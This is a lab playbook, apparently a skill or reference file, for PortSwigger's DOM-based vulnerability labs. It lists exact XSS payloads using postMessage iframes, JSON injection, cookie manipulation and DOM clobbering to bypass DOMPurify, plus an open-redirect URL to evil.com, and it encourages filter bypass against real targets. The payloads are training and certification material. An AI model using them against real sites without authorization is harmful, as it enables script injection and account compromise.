DOM-based Vulnerabilities — Complete Deep Dive

Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. Difficulty: 🟢 Apprentice 🟡 Practitioner 🔴 Expert

When to Use

• Studying for BSCP (Burp Suite Certified Practitioner) certification
• Testing real-world targets for these vulnerability classes
• Bug bounty hunting — these exact techniques find real bugs
• Building exploitation chains

Prerequisites

• Burp Suite Professional (Community works for most)
• Browser with proxy configured
• Burp Collaborator or interactsh for OOB testing

Workflow

Phase 1: Reconnaissance

• Identify input vectors, parameters, and application behavior.

Phase 2: Exploitation

• Apply standard lab payloads.

Phase 3: Zero-Day Escalation

• Fuzz filters, bypass WAFs, and chain with other vulns.

Lab Playbooks

Lab 1: DOM XSS web messages 🟡 PRACTITIONER

<iframe src="https://TARGET" onload="this.contentWindow.postMessage('<img src=1 onerror=print()>','*')">

Target listens to message event and writes to innerHTML without origin check.

Lab 2: Web messages + JS URL 🟡 PRACTITIONER

<iframe src="https://TARGET" onload="this.contentWindow.postMessage('javascript:print()//http:','*')">

Message handler checks indexOf('http:') — append it after // comment.

Lab 3: Web messages + JSON.parse 🟡 PRACTITIONER

<iframe src="https://TARGET" onload='this.contentWindow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:print()\"}","*")'>

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Lab 4: DOM open redirection 🟡 PRACTITIONER

https://TARGET/post?postId=1&url=https://evil.com

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Lab 5: DOM cookie manipulation 🟡 PRACTITIONER

<iframe src="https://TARGET/product?productId=1&'><script>print()</script>" onload="if(!window.x)this.src='https://TARGET';window.x=1;">

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Lab 6: DOM clobbering XSS 🟡 PRACTITIONER

<a id=defaultAvatar><a id=defaultAvatar name=avatar href="1:alert(1)//">

Clobbers defaultAvatar.avatar property used in src attribute.

Lab 7: Clobbering to bypass HTML filters 🔴 EXPERT

<form id=x tabindex=0 onfocus=print()><input id=attributes>

Clobbers element.attributes so DOMPurify can't enumerate and remove event handlers.

Blue Team Detection

• Monitor access logs for anomalous payloads.
• Implement strict input validation and parameterized queries where applicable.
• Create WAF rules masking generic attack patterns.

Zero-Day Research Methodology

When a standard technique doesn't work:

1. Identify the filter: What chars/patterns are blocked?
2. Research bypasses: Search GitHub, Twitter, PortSwigger Research for new techniques
3. Fuzz extensively: Use Burp Intruder with custom charset/tag lists
4. Chain vulnerabilities: Combine two medium findings into one critical
5. Check encoding layers: URL, HTML entity, Unicode, double-encode, XML entity

Key Concepts

Concept	Description
PortSwigger Vectors	Standardized approaches to vulnerability classes.
Payload Encoding	Modifying payloads to bypass basic string matching WAFs.

Output Format

Vulnerability Deep-Dive Report
==============================
Target Vector: [Endpoint]
Bypass Technique: [Explanation of bypass]
Payload Used: [Payload]
Impact Explanation: [Impact]

🔵 Blue Team

• Deploy robust WAF rules to detect anomalies.
• Monitor logs for unusual access patterns.

🛡️ Remediation & Mitigation Strategy

• Input Validation: Sanitize and strictly type-check all inputs.
• Least Privilege: Constrain component execution bounds.

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

• _shared/references/elite-chaining-strategy.md — Exploit chaining methodology and high-payout chain patterns
• _shared/references/elite-report-writing.md — HackerOne-optimized report writing, CWE quick reference
• _shared/references/real-world-bounties.md — Verified disclosed bounties by vulnerability class

References

• PortSwigger Web Security Academy
• PortSwigger All Labs
• PayloadsAllTheThings